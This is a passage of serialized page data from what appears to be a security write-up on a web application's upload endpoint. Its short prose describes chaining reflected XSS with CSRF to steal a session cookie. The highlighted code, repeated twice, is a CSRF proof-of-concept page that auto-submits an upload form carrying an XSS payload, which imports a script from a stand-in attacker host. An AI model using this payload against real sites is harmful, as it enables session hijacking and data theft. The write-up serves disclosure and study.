,{"type":29,"value":31282},{"type":23,"tag":75,"props":43969,"children":43970},{"style":43569},[43971],{"type":29,"value":43972}," />\n",{"type":23,"tag":75,"props":43974,"children":43975},{"class":77,"line":220},[43976,43980,43984,43988,43992,43997,44001,44005,44010],{"type":23,"tag":75,"props":43977,"children":43978},{"style":43569},[43979],{"type":29,"value":43782},{"type":23,"tag":75,"props":43981,"children":43982},{"style":82},[43983],{"type":29,"value":1207},{"type":23,"tag":75,"props":43985,"children":43986},{"style":110},[43987],{"type":29,"value":43734},{"type":23,"tag":75,"props":43989,"children":43990},{"style":209},[43991],{"type":29,"value":212},{"type":23,"tag":75,"props":43993,"children":43994},{"style":1266},[43995],{"type":29,"value":43996},"\"submit\"",{"type":23,"tag":75,"props":43998,"children":43999},{"style":110},[44000],{"type":29,"value":43704},{"type":23,"tag":75,"props":44002,"children":44003},{"style":209},[44004],{"type":29,"value":212},{"type":23,"tag":75,"props":44006,"children":44007},{"style":1266},[44008],{"type":29,"value":44009},"\"Submit request\"",{"type":23,"tag":75,"props":44011,"children":44012},{"style":43569},[44013],{"type":29,"value":43972},{"type":23,"tag":75,"props":44015,"children":44016},{"class":77,"line":248},[44017,44022,44026],{"type":23,"tag":75,"props":44018,"children":44019},{"style":43569},[44020],{"type":29,"value":44021},"    \u003C/",{"type":23,"tag":75,"props":44023,"children":44024},{"style":82},[44025],{"type":29,"value":43644},{"type":23,"tag":75,"props":44027,"children":44028},{"style":43569},[44029],{"type":29,"value":17260},{"type":23,"tag":75,"props":44031,"children":44032},{"class":77,"line":270},[44033,44038,44042],{"type":23,"tag":75,"props":44034,"children":44035},{"style":43569},[44036],{"type":29,"value":44037},"  \u003C/",{"type":23,"tag":75,"props":44039,"children":44040},{"style":82},[44041],{"type":29,"value":43593},{"type":23,"tag":75,"props":44043,"children":44044},{"style":43569},[44045],{"type":29,"value":17260},{"type":23,"tag":75,"props":44047,"children":44048},{"class":77,"line":279},[44049],{"type":23,"tag":75,"props":44050,"children":44051},{"emptyLinePlaceholder":15},[44052],{"type":29,"value":276},{"type":23,"tag":75,"props":44054,"children":44055},{"class":77,"line":303},[44056,44060,44064],{"type":23,"tag":75,"props":44057,"children":44058},{"style":43569},[44059],{"type":29,"value":43588},{"type":23,"tag":75,"props":44061,"children":44062},{"style":82},[44063],{"type":29,"value":43609},{"type":23,"tag":75,"props":44065,"children":44066},{"style":43569},[44067],{"type":29,"value":17260},{"type":23,"tag":75,"props":44069,"children":44070},{"class":77,"line":322},[44071],{"type":23,"tag":75,"props":44072,"children":44073},{"emptyLinePlaceholder":15},[44074],{"type":29,"value":276},{"type":23,"tag":75,"props":44076,"children":44077},{"class":77,"line":340},[44078,44083],{"type":23,"tag":75,"props":44079,"children":44080},{"style":94},[44081],{"type":29,"value":44082},"    (async ()=>",{"type":23,"tag":75,"props":44084,"children":44085},{"style":82},[44086],{"type":29,"value":2549},{"type":23,"tag":75,"props":44088,"children":44089},{"class":77,"line":349},[44090,44095,44100,44105,44110,44114,44118,44123,44127,44132,44137,44142],{"type":23,"tag":75,"props":44091,"children":44092},{"style":110},[44093],{"type":29,"value":44094},"        const",{"type":23,"tag":75,"props":44096,"children":44097},{"style":110},[44098],{"type":29,"value":44099}," blob",{"type":23,"tag":75,"props":44101,"children":44102},{"style":209},[44103],{"type":29,"value":44104}," = ",{"type":23,"tag":75,"props":44106,"children":44107},{"style":175},[44108],{"type":29,"value":44109},"await",{"type":23,"tag":75,"props":44111,"children":44112},{"style":209},[44113],{"type":29,"value":183},{"type":23,"tag":75,"props":44115,"children":44116},{"style":175},[44117],{"type":29,"value":44109},{"type":23,"tag":75,"props":44119,"children":44120},{"style":88},[44121],{"type":29,"value":44122}," fetch",{"type":23,"tag":75,"props":44124,"children":44125},{"style":209},[44126],{"type":29,"value":643},{"type":23,"tag":75,"props":44128,"children":44129},{"style":1266},[44130],{"type":29,"value":44131},"\"/sapo.png\"",{"type":23,"tag":75,"props":44133,"children":44134},{"style":209},[44135],{"type":29,"value":44136},")).",{"type":23,"tag":75,"props":44138,"children":44139},{"style":88},[44140],{"type":29,"value":44141},"blob",{"type":23,"tag":75,"props":44143,"children":44144},{"style":209},[44145],{"type":29,"value":3249},{"type":23,"tag":75,"props":44147,"children":44148},{"class":77,"line":363},[44149],{"type":23,"tag":75,"props":44150,"children":44151},{"emptyLinePlaceholder":15},[44152],{"type":29,"value":276},{"type":23,"tag":75,"props":44154,"children":44155},{"class":77,"line":656},[44156,44160,44165,44169,44173,44178,44183,44187,44191,44196,44201,44206,44211],{"type":23,"tag":75,"props":44157,"children":44158},{"style":110},[44159],{"type":29,"value":14352},{"type":23,"tag":75,"props":44161,"children":44162},{"style":110},[44163],{"type":29,"value":44164}," f",{"type":23,"tag":75,"props":44166,"children":44167},{"style":209},[44168],{"type":29,"value":44104},{"type":23,"tag":75,"props":44170,"children":44171},{"style":82},[44172],{"type":29,"value":26353},{"type":23,"tag":75,"props":44174,"children":44175},{"style":88},[44176],{"type":29,"value":44177}," File",{"type":23,"tag":75,"props":44179,"children":44180},{"style":209},[44181],{"type":29,"value":44182},"([",{"type":23,"tag":75,"props":44184,"children":44185},{"style":110},[44186],{"type":29,"value":44141},{"type":23,"tag":75,"props":44188,"children":44189},{"style":209},[44190],{"type":29,"value":34275},{"type":23,"tag":75,"props":44192,"children":44193},{"style":1266},[44194],{"type":29,"value":44195},"'sapo.png'",{"type":23,"tag":75,"props":44197,"children":44198},{"style":209},[44199],{"type":29,"value":44200},", {",{"type":23,"tag":75,"props":44202,"children":44203},{"style":110},[44204],{"type":29,"value":44205},"type:",{"type":23,"tag":75,"props":44207,"children":44208},{"style":1266},[44209],{"type":29,"value":44210}," 'image/png'",{"type":23,"tag":75,"props":44212,"children":44213},{"style":209},[44214],{"type":29,"value":44215},"})\n",{"type":23,"tag":75,"props":44217,"children":44218},{"class":77,"line":705},[44219,44223,44228,44232,44236,44241],{"type":23,"tag":75,"props":44220,"children":44221},{"style":110},[44222],{"type":29,"value":44094},{"type":23,"tag":75,"props":44224,"children":44225},{"style":110},[44226],{"type":29,"value":44227}," dataTransfer",{"type":23,"tag":75,"props":44229,"children":44230},{"style":209},[44231],{"type":29,"value":44104},{"type":23,"tag":75,"props":44233,"children":44234},{"style":82},[44235],{"type":29,"value":26353},{"type":23,"tag":75,"props":44237,"children":44238},{"style":88},[44239],{"type":29,"value":44240}," DataTransfer",{"type":23,"tag":75,"props":44242,"children":44243},{"style":209},[44244],{"type":29,"value":14944},{"type":23,"tag":75,"props":44246,"children":44247},{"class":77,"line":787},[44248,44253,44257,44262,44266,44270,44274,44279],{"type":23,"tag":75,"props":44249,"children":44250},{"style":110},[44251],{"type":29,"value":44252},"        dataTransfer",{"type":23,"tag":75,"props":44254,"children":44255},{"style":209},[44256],{"type":29,"value":557},{"type":23,"tag":75,"props":44258,"children":44259},{"style":110},[44260],{"type":29,"value":44261},"items",{"type":23,"tag":75,"props":44263,"children":44264},{"style":209},[44265],{"type":29,"value":557},{"type":23,"tag":75,"props":44267,"children":44268},{"style":88},[44269],{"type":29,"value":20887},{"type":23,"tag":75,"props":44271,"children":44272},{"style":209},[44273],{"type":29,"value":643},{"type":23,"tag":75,"props":44275,"children":44276},{"style":110},[44277],{"type":29,"value":44278},"f",{"type":23,"tag":75,"props":44280,"children":44281},{"style":209},[44282],{"type":29,"value":15099},{"type":23,"tag":75,"props":44284,"children":44285},{"class":77,"line":826},[44286],{"type":23,"tag":75,"props":44287,"children":44288},{"emptyLinePlaceholder":15},[44289],{"type":29,"value":276},{"type":23,"tag":75,"props":44291,"children":44292},{"class":77,"line":834},[44293,44298,44302,44307,44311,44316,44320,44324],{"type":23,"tag":75,"props":44294,"children":44295},{"style":110},[44296],{"type":29,"value":44297},"        file123",{"type":23,"tag":75,"props":44299,"children":44300},{"style":209},[44301],{"type":29,"value":557},{"type":23,"tag":75,"props":44303,"children":44304},{"style":110},[44305],{"type":29,"value":44306},"files",{"type":23,"tag":75,"props":44308,"children":44309},{"style":209},[44310],{"type":29,"value":44104},{"type":23,"tag":75,"props":44312,"children":44313},{"style":110},[44314],{"type":29,"value":44315},"dataTransfer",{"type":23,"tag":75,"props":44317,"children":44318},{"style":209},[44319],{"type":29,"value":557},{"type":23,"tag":75,"props":44321,"children":44322},{"style":110},[44323],{"type":29,"value":44306},{"type":23,"tag":75,"props":44325,"children":44326},{"style":209},[44327],{"type":29,"value":245},{"type":23,"tag":75,"props":44329,"children":44330},{"class":77,"line":881},[44331,44336],{"type":23,"tag":75,"props":44332,"children":44333},{"style":82},[44334],{"type":29,"value":44335},"    }",{"type":23,"tag":75,"props":44337,"children":44338},{"style":94},[44339],{"type":29,"value":44340},")()\n",{"type":23,"tag":75,"props":44342,"children":44343},{"class":77,"line":3355},[44344],{"type":23,"tag":75,"props":44345,"children":44346},{"emptyLinePlaceholder":15},[44347],{"type":29,"value":276},{"type":23,"tag":75,"props":44349,"children":44350},{"class":77,"line":3390},[44351,44355,44359],{"type":23,"tag":75,"props":44352,"children":44353},{"style":43569},[44354],{"type":29,"value":44037},{"type":23,"tag":75,"props":44356,"children":44357},{"style":82},[44358],{"type":29,"value":43609},{"type":23,"tag":75,"props":44360,"children":44361},{"style":43569},[44362],{"type":29,"value":17260},{"type":23,"tag":75,"props":44364,"children":44365},{"class":77,"line":3423},[44366,44370,44374],{"type":23,"tag":75,"props":44367,"children":44368},{"style":43569},[44369],{"type":29,"value":43623},{"type":23,"tag":75,"props":44371,"children":44372},{"style":82},[44373],{"type":29,"value":43576},{"type":23,"tag":75,"props":44375,"children":44376},{"style":43569},[44377],{"type":29,"value":17260},{"type":23,"tag":32,"props":44379,"children":44380},{},[44381],{"type":29,"value":44382},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":32,"props":44384,"children":44385},{},[44386],{"type":29,"value":44387},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":32,"props":44389,"children":44390},{},[44391],{"type":29,"value":44392},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":32,"props":44394,"children":44395},{},[44396],{"type":29,"value":44397},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":64,"props":44399,"children":44401},{"className":42559,"code":44400,"language":42561,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[44402],{"type":23,"tag":71,"props":44403,"children":44404},{"__ignoreMap":7},[44405,44420,44435,44466,44541,44592,44780,44819,44834,44849,44856,44871,44878,44889,44940,44947,45002,45029,45064,45071,45106,45113,45134,45145,45152,45167],{"type":23,"tag":75,"props":44406,"children":44407},{"class":77,"line":78},[44408,44412,44416],{"type":23,"tag":75,"props":44409,"children":44410},{"style":43569},[44411],{"type":29,"value":295},{"type":23,"tag":75,"props":44413,"children":44414},{"style":82},[44415],{"type":29,"value":43576},{"type":23,"tag":75,"props":44417,"children":44418},{"style":43569},[44419],{"type":29,"value":17260},{"type":23,"tag":75,"props":44421,"children":44422},{"class":77,"line":100},[44423,44427,44431],{"type":23,"tag":75,"props":44424,"children":44425},{"style":43569},[44426],{"type":29,"value":43588},{"type":23,"tag":75,"props":44428,"children":44429},{"style":82},[44430],{"type":29,"value":43593},{"type":23,"tag":75,"props":44432,"children":44433},{"style":43569},[44434],{"type":29,"value":17260},{"type":23,"tag":75,"props":44436,"children":44437},{"class":77,"line":121},[44438,44442,44446,44450,44454,44458,44462],{"type":23,"tag":75,"props":44439,"children":44440},{"style":43569},[44441],{"type":29,"value":43588},{"type":23,"tag":75,"props":44443,"children":44444},{"style":82},[44445],{"type":29,"value":43609},{"type":23,"tag":75,"props":44447,"children":44448},{"style":43569},[44449],{"type":29,"value":4652},{"type":23,"tag":75,"props":44451,"children":44452},{"style":94},[44453],{"type":29,"value":43618},{"type":23,"tag":75,"props":44455,"children":44456},{"style":43569},[44457],{"type":29,"value":43623},{"type":23,"tag":75,"props":44459,"children":44460},{"style":82},[44461],{"type":29,"value":43609},{"type":23,"tag":75,"props":44463,"children":44464},{"style":43569},[44465],{"type":29,"value":17260},{"type":23,"tag":75,"props":44467,"children":44468},{"class":77,"line":138},[44469,44473,44477,44481,44485,44489,44493,44497,44501,44505,44509,44513,44517,44521,44525,44529,44533,44537],{"type":23,"tag":75,"props":44470,"children":44471},{"style":43569},[44472],{"type":29,"value":43639},{"type":23,"tag":75,"props":44474,"children":44475},{"style":82},[44476],{"type":29,"value":43644},{"type":23,"tag":75,"props":44478,"children":44479},{"style":110},[44480],{"type":29,"value":43649},{"type":23,"tag":75,"props":44482,"children":44483},{"style":209},[44484],{"type":29,"value":212},{"type":23,"tag":75,"props":44486,"children":44487},{"style":1266},[44488],{"type":29,"value":43658},{"type":23,"tag":75,"props":44490,"children":44491},{"style":110},[44492],{"type":29,"value":43663},{"type":23,"tag":75,"props":44494,"children":44495},{"style":209},[44496],{"type":29,"value":212},{"type":23,"tag":75,"props":44498,"children":44499},{"style":1266},[44500],{"type":29,"value":43672},{"type":23,"tag":75,"props":44502,"children":44503},{"style":110},[44504],{"type":29,"value":28333},{"type":23,"tag":75,"props":44506,"children":44507},{"style":209},[44508],{"type":29,"value":212},{"type":23,"tag":75,"props":44510,"children":44511},{"style":1266},[44512],{"type":29,"value":43685},{"type":23,"tag":75,"props":44514,"children":44515},{"style":110},[44516],{"type":29,"value":43690},{"type":23,"tag":75,"props":44518,"children":44519},{"style":209},[44520],{"type":29,"value":212},{"type":23,"tag":75,"props":44522,"children":44523},{"style":1266},[44524],{"type":29,"value":43699},{"type":23,"tag":75,"props":44526,"children":44527},{"style":110},[44528],{"type":29,"value":43704},{"type":23,"tag":75,"props":44530,"children":44531},{"style":209},[44532],{"type":29,"value":212},{"type":23,"tag":75,"props":44534,"children":44535},{"style":1266},[44536],{"type":29,"value":43713},{"type":23,"tag":75,"props":44538,"children":44539},{"style":43569},[44540],{"type":29,"value":17260},{"type":23,"tag":75,"props":44542,"children":44543},{"class":77,"line":161},[44544,44548,44552,44556,44560,44564,44568,44572,44576,44580,44584,44588],{"type":23,"tag":75,"props":44545,"children":44546},{"style":43569},[44547],{"type":29,"value":43725},{"type":23,"tag":75,"props":44549,"children":44550},{"style":82},[44551],{"type":29,"value":1207},{"type":23,"tag":75,"props":44553,"children":44554},{"style":110},[44555],{"type":29,"value":43734},{"type":23,"tag":75,"props":44557,"children":44558},{"style":209},[44559],{"type":29,"value":212},{"type":23,"tag":75,"props":44561,"children":44562},{"style":1266},[44563],{"type":29,"value":43743},{"type":23,"tag":75,"props":44565,"children":44566},{"style":110},[44567],{"type":29,"value":43748},{"type":23,"tag":75,"props":44569,"children":44570},{"style":209},[44571],{"type":29,"value":212},{"type":23,"tag":75,"props":44573,"children":44574},{"style":1266},[44575],{"type":29,"value":43757},{"type":23,"tag":75,"props":44577,"children":44578},{"style":110},[44579],{"type":29,"value":43649},{"type":23,"tag":75,"props":44581,"children":44582},{"style":209},[44583],{"type":29,"value":212},{"type":23,"tag":75,"props":44585,"children":44586},{"style":1266},[44587],{"type":29,"value":43770},{"type":23,"tag":75,"props":44589,"children":44590},{"style":43569},[44591],{"type":29,"value":17260},{"type":23,"tag":75,"props":44593,"children":44594},{"class":77,"line":196},[44595,44599,44603,44607,44611,44615,44619,44623,44627,44631,44635,44639,44644,44648,44653,44657,44662,44666,44671,44676,44680,44684,44689,44694,44699,44704,44709,44714,44718,44723,44727,44731,44736,44740,44745,44750,44755,44759,44763,44767,44772,44776],{"type":23,"tag":75,"props":44596,"children":44597},{"style":43569},[44598],{"type":29,"value":43782},{"type":23,"tag":75,"props":44600,"children":44601},{"style":82},[44602],{"type":29,"value":1207},{"type":23,"tag":75,"props":44604,"children":44605},{"style":110},[44606],{"type":29,"value":43734},{"type":23,"tag":75,"props":44608,"children":44609},{"style":209},[44610],{"type":29,"value":212},{"type":23,"tag":75,"props":44612,"children":44613},{"style":1266},[44614],{"type":29,"value":43799},{"type":23,"tag":75,"props":44616,"children":44617},{"style":110},[44618],{"type":29,"value":43748},{"type":23,"tag":75,"props":44620,"children":44621},{"style":209},[44622],{"type":29,"value":212},{"type":23,"tag":75,"props":44624,"children":44625},{"style":1266},[44626],{"type":29,"value":43812},{"type":23,"tag":75,"props":44628,"children":44629},{"style":110},[44630],{"type":29,"value":43704},{"type":23,"tag":75,"props":44632,"children":44633},{"style":209},[44634],{"type":29,"value":212},{"type":23,"tag":75,"props":44636,"children":44637},{"style":1266},[44638],{"type":29,"value":31282},{"type":23,"tag":75,"props":44640,"children":44641},{"style":82},[44642],{"type":29,"value":44643},"{"",{"type":23,"tag":75,"props":44645,"children":44646},{"style":1266},[44647],{"type":29,"value":43834},{"type":23,"tag":75,"props":44649,"children":44650},{"style":82},[44651],{"type":29,"value":44652},"":"<",{"type":23,"tag":75,"props":44654,"children":44655},{"style":1266},[44656],{"type":29,"value":15189},{"type":23,"tag":75,"props":44658,"children":44659},{"style":82},[44660],{"type":29,"value":44661},"/",{"type":23,"tag":75,"props":44663,"children":44664},{"style":1266},[44665],{"type":29,"value":43863},{"type":23,"tag":75,"props":44667,"children":44668},{"style":82},[44669],{"type":29,"value":44670},"=",{"type":23,"tag":75,"props":44672,"children":44673},{"style":1266},[44674],{"type":29,"value":44675},"x onerror",{"type":23,"tag":75,"props":44677,"children":44678},{"style":82},[44679],{"type":29,"value":44670},{"type":23,"tag":75,"props":44681,"children":44682},{"style":1266},[44683],{"type":29,"value":30706},{"type":23,"tag":75,"props":44685,"children":44686},{"style":82},[44687],{"type":29,"value":44688},"(`",{"type":23,"tag":75,"props":44690,"children":44691},{"style":1266},[44692],{"type":29,"value":44693},"https",{"type":23,"tag":75,"props":44695,"children":44696},{"style":82},[44697],{"type":29,"value":44698},"://",{"type":23,"tag":75,"props":44700,"children":44701},{"style":1266},[44702],{"type":29,"value":44703},"attacker-server",{"type":23,"tag":75,"props":44705,"children":44706},{"style":82},[44707],{"type":29,"value":44708},".",{"type":23,"tag":75,"props":44710,"children":44711},{"style":1266},[44712],{"type":29,"value":44713},"com",{"type":23,"tag":75,"props":44715,"children":44716},{"style":82},[44717],{"type":29,"value":44661},{"type":23,"tag":75,"props":44719,"children":44720},{"style":1266},[44721],{"type":29,"value":44722},"leak",{"type":23,"tag":75,"props":44724,"children":44725},{"style":82},[44726],{"type":29,"value":44708},{"type":23,"tag":75,"props":44728,"children":44729},{"style":1266},[44730],{"type":29,"value":42561},{"type":23,"tag":75,"props":44732,"children":44733},{"style":82},[44734],{"type":29,"value":44735},"`)>","",{"type":23,"tag":75,"props":44737,"children":44738},{"style":1266},[44739],{"type":29,"value":43921},{"type":23,"tag":75,"props":44741,"children":44742},{"style":82},[44743],{"type":29,"value":44744},"":"",{"type":23,"tag":75,"props":44746,"children":44747},{"style":1266},[44748],{"type":29,"value":44749},"profile-assets",{"type":23,"tag":75,"props":44751,"children":44752},{"style":82},[44753],{"type":29,"value":44754},"","",{"type":23,"tag":75,"props":44756,"children":44757},{"style":1266},[44758],{"type":29,"value":386},{"type":23,"tag":75,"props":44760,"children":44761},{"style":82},[44762],{"type":29,"value":44744},{"type":23,"tag":75,"props":44764,"children":44765},{"style":1266},[44766],{"type":29,"value":43958},{"type":23,"tag":75,"props":44768,"children":44769},{"style":82},[44770],{"type":29,"value":44771},""}",{"type":23,"tag":75,"props":44773,"children":44774},{"style":1266},[44775],{"type":29,"value":31282},{"type":23,"tag":75,"props":44777,"children":44778},{"style":43569},[44779],{"type":29,"value":43972},{"type":23,"tag":75,"props":44781,"children":44782},{"class":77,"line":220},[44783,44787,44791,44795,44799,44803,44807,44811,44815],{"type":23,"tag":75,"props":44784,"children":44785},{"style":43569},[44786],{"type":29,"value":43782},{"type":23,"tag":75,"props":44788,"children":44789},{"style":82},[44790],{"type":29,"value":1207},{"type":23,"tag":75,"props":44792,"children":44793},{"style":110},[44794],{"type":29,"value":43734},{"type":23,"tag":75,"props":44796,"children":44797},{"style":209},[44798],{"type":29,"value":212},{"type":23,"tag":75,"props":44800,"children":44801},{"style":1266},[44802],{"type":29,"value":43996},{"type":23,"tag":75,"props":44804,"children":44805},{"style":110},[44806],{"type":29,"value":43704},{"type":23,"tag":75,"props":44808,"children":44809},{"style":209},[44810],{"type":29,"value":212},{"type":23,"tag":75,"props":44812,"children":44813},{"style":1266},[44814],{"type":29,"value":44009},{"type":23,"tag":75,"props":44816,"children":44817},{"style":43569},[44818],{"type":29,"value":43972},{"type":23,"tag":75,"props":44820,"children":44821},{"class":77,"line":248},[44822,44826,44830],{"type":23,"tag":75,"props":44823,"children":44824},{"style":43569},[44825],{"type":29,"value":44021},{"type":23,"tag":75,"props":44827,"children":44828},{"style":82},[44829],{"type":29,"value":43644},{"type":23,"tag":75,"props":44831,"children":44832},{"style":43569},[44833],{"type":29,"value":17260},{"type":23,"tag":75,"props":44835,"children":44836},{"class":77,"line":270},[44837,44841,44845],{"type":23,"tag":75,"props":44838,"children":44839},{"style":43569},[44840],{"type":29,"value":44037},{"type":23,"tag":75,"props":44842,"children":44843},{"style":82},[44844],{"type":29,"value":43593},{"type":23,"tag":75,"props":44846,"children":44847},{"style":43569},[44848],{"type":29,"value":17260},{"type":23,"tag":75,"props":44850,"children":44851},{"class":77,"line":279},[44852],{"type":23,"tag":75,"props":44853,"children":44854},{"emptyLinePlaceholder":15},[44855],{"type":29,"value":276},{"type":23,"tag":75,"props":44857,"children":44858},{"class":77,"line":303},[44859,44863,44867],{"type":23,"tag":75,"props":44860,"children":44861},{"style":43569},[44862],{"type":29,"value":43588},{"type":23,"tag":75,"props":44864,"children":44865},{"style":82},[44866],{"type":29,"value":43609},{"type":23,"tag":75,"props":44868,"children":44869},{"style":43569},[44870],{"type":29,"value":17260},{"type":23,"tag":75,"props":44872,"children":44873},{"class":77,"line":322},[44874],{"type":23,"tag":75,"props":44875,"children":44876},{"emptyLinePlaceholder":15},[44877],{"type":29,"value":276},{"type":23,"tag":75,"props":44879,"children":44880},{"class":77,"line":340},[44881,44885],{"type":23,"tag":75,"props":44882,"children":44883},{"style":94},[44884],{"type":29,"value":44082},{"type":23,"tag":75,"props":44886,"children":44887},{"style":82},[44888],{"type":29,"value":2549},{"type":23,"tag":75,"props":44890,"children":44891},{"class":77,"line":349},[44892,44896,44900,44904,44908,44912,44916,44920,44924,44928,44932,44936],{"type":23,"tag":75,"props":44893,"children":44894},{"style":110},[44895],{"type":29,"value":44094},{"type":23,"tag":75,"props":44897,"children":44898},{"style":110},[44899],{"type":29,"value":44099},{"type":23,"tag":75,"props":44901,"children":44902},{"style":209},[44903],{"type":29,"value":44104},{"type":23,"tag":75,"props":44905,"children":44906},{"style":175},[44907],{"type":29,"value":44109},{"type":23,"tag":75,"props":44909,"children":44910},{"style":209},[44911],{"type":29,"value":183},{"type":23,"tag":75,"props":44913,"children":44914},{"style":175},[44915],{"type":29,"value":44109},{"type":23,"tag":75,"props":44917,"children":44918},{"style":88},[44919],{"type":29,"value":44122},{"type":23,"tag":75,"props":44921,"children":44922},{"style":209},[44923],{"type":29,"value":643},{"type":23,"tag":75,"props":44925,"children":44926},{"style":1266},[44927],{"type":29,"value":44131},{"type":23,"tag":75,"props":44929,"children":44930},{"style":209},[44931],{"type":29,"value":44136},{"type":23,"tag":75,"props":44933,"children":44934},{"style":88},[44935],{"type":29,"value":44141},{"type":23,"tag":75,"props":44937,"children":44938},{"style":209},[44939],{"type":29,"value":3249},{"type":23,"tag":75,"props":44941,"children":44942},{"class":77,"line":363},[44943],{"type":23,"tag":75,"props":44944,"children":44945},{"emptyLinePlaceholder":15},[44946],{"type":29,"value":276},{"type":23,"tag":75,"props":44948,"children":44949},{"class":77,"line":656},[44950,44954,44958,44962,44966,44970,44974,44978,44982,44986,44990,44994,44998],{"type":23,"tag":75,"props":44951,"children":44952},{"style":110},[44953],{"type":29,"value":14352},{"type":23,"tag":75,"props":44955,"children":44956},{"style":110},[44957],{"type":29,"value":44164},{"type":23,"tag":75,"props":44959,"children":44960},{"style":209},[44961],{"type":29,"value":44104},{"type":23,"tag":75,"props":44963,"children":44964},{"style":82},[44965],{"type":29,"value":26353},{"type":23,"tag":75,"props":44967,"children":44968},{"style":88},[44969],{"type":29,"value":44177},{"type":23,"tag":75,"props":44971,"children":44972},{"style":209},[44973],{"type":29,"value":44182},{"type":23,"tag":75,"props":44975,"children":44976},{"style":110},[44977],{"type":29,"value":44141},{"type":23,"tag":75,"props":44979,"children":44980},{"style":209},[44981],{"type":29,"value":34275},{"type":23,"tag":75,"props":44983,"children":44984},{"style":1266},[44985],{"type":29,"value":44195},{"type":23,"tag":75,"props":44987,"children":44988},{"style":209},[44989],{"type":29,"value":44200},{"type":23,"tag":75,"props":44991,"children":44992},{"style":110},[44993],{"type":29,"value":44205},{"type":23,"tag":75,"props":44995,"children":44996},{"style":1266},[44997],{"type":29,"value":44210},{"type":23,"tag":75,"props":44999,"children":45000},{"style":209},[45001],{"type":29,"value":44215},{"type":23,"tag":75,"props":45003,"children":45004},{"class":77,"line":705},[45005,45009,45013,45017,45021,45025],{"type":23,"tag":75,"props":45006,"children":45007},{"style":110},[45008],{"type":29,"value":44094},{"type":23,"tag":75,"props":45010,"children":45011},{"style":110},[45012],{"type":29,"value":44227},{"type":23,"tag":75,"props":45014,"children":45015},{"style":209},[45016],{"type":29,"value":44104},{"type":23,"tag":75,"props":45018,"children":45019},{"style":82},[45020],{"type":29,"value":26353},{"type":23,"tag":75,"props":45022,"children":45023},{"style":88},[45024],{"type":29,"value":44240},{"type":23,"tag":75,"props":45026,"children":45027},{"style":209},[45028],{"type":29,"value":14944},{"type":23,"tag":75,"props":45030,"children":45031},{"class":77,"line":787},[45032,45036,45040,45044,45048,45052,45056,45060],{"type":23,"tag":75,"props":45033,"children":45034},{"style":110},[45035],{"type":29,"value":44252},{"type":23,"tag":75,"props":45037,"children":45038},{"style":209},[45039],{"type":29,"value":557},{"type":23,"tag":75,"props":45041,"children":45042},{"style":110},[45043],{"type":29,"value":44261},{"type":23,"tag":75,"props":45045,"children":45046},{"style":209},[45047],{"type":29,"value":557},{"type":23,"tag":75,"props":45049,"children":45050},{"style":88},[45051],{"type":29,"value":20887},{"type":23,"tag":75,"props":45053,"children":45054},{"style":209},[45055],{"type":29,"value":643},{"type":23,"tag":75,"props":45057,"children":45058},{"style":110},[45059],{"type":29,"value":44278},{"type":23,"tag":75,"props":45061,"children":45062},{"style":209},[45063],{"type":29,"value":15099},{"type":23,"tag":75,"props":45065,"children":45066},{"class":77,"line":826},[45067],{"type":23,"tag":75,"props":45068,"children":45069},{"emptyLinePlaceholder":15},[45070],{"type":29,"value":276},{"type":23,"tag":75,"props":45072,"children":45073},{"class":77,"line":834},[45074,45078,45082,45086,45090,45094,45098,45102],{"type":23,"tag":75,"props":45075,"children":45076},{"style":110},[45077],{"type":29,"value":44297},{"type":23,"tag":75,"props":45079,"children":45080},{"style":209},[45081],{"type":29,"value":557},{"type":23,"tag":75,"props":45083,"children":45084},{"style":110},[45085],{"type":29,"value":44306},{"type":23,"tag":75,"props":45087,"children":45088},{"style":209},[45089],{"type":29,"value":44104},{"type":23,"tag":75,"props":45091,"children":45092},{"style":110},[45093],{"type":29,"value":44315},{"type":23,"tag":75,"props":45095,"children":45096},{"style":209},[45097],{"type":29,"value":557},{"type":23,"tag":75,"props":45099,"children":45100},{"style":110},[45101],{"type":29,"value":44306},{"type":23,"tag":75,"props":45103,"children":45104},{"style":209},[45105],{"type":29,"value":245},{"type":23,"tag":75,"props":45107,"children":45108},{"class":77,"line":881},[45109],{"type":23,"tag":75,"props":45110,"children":45111},{"emptyLinePlaceholder":15},[45112],{"type":29,"value":276},{"type":23,"tag":75,"props":45114,"children":45115},{"class":77,"line":3355},[45116,45121,45125,45130],{"type":23,"tag":75,"props":45117,"children":45118},{"style":110},[45119],{"type":29,"value":45120},"        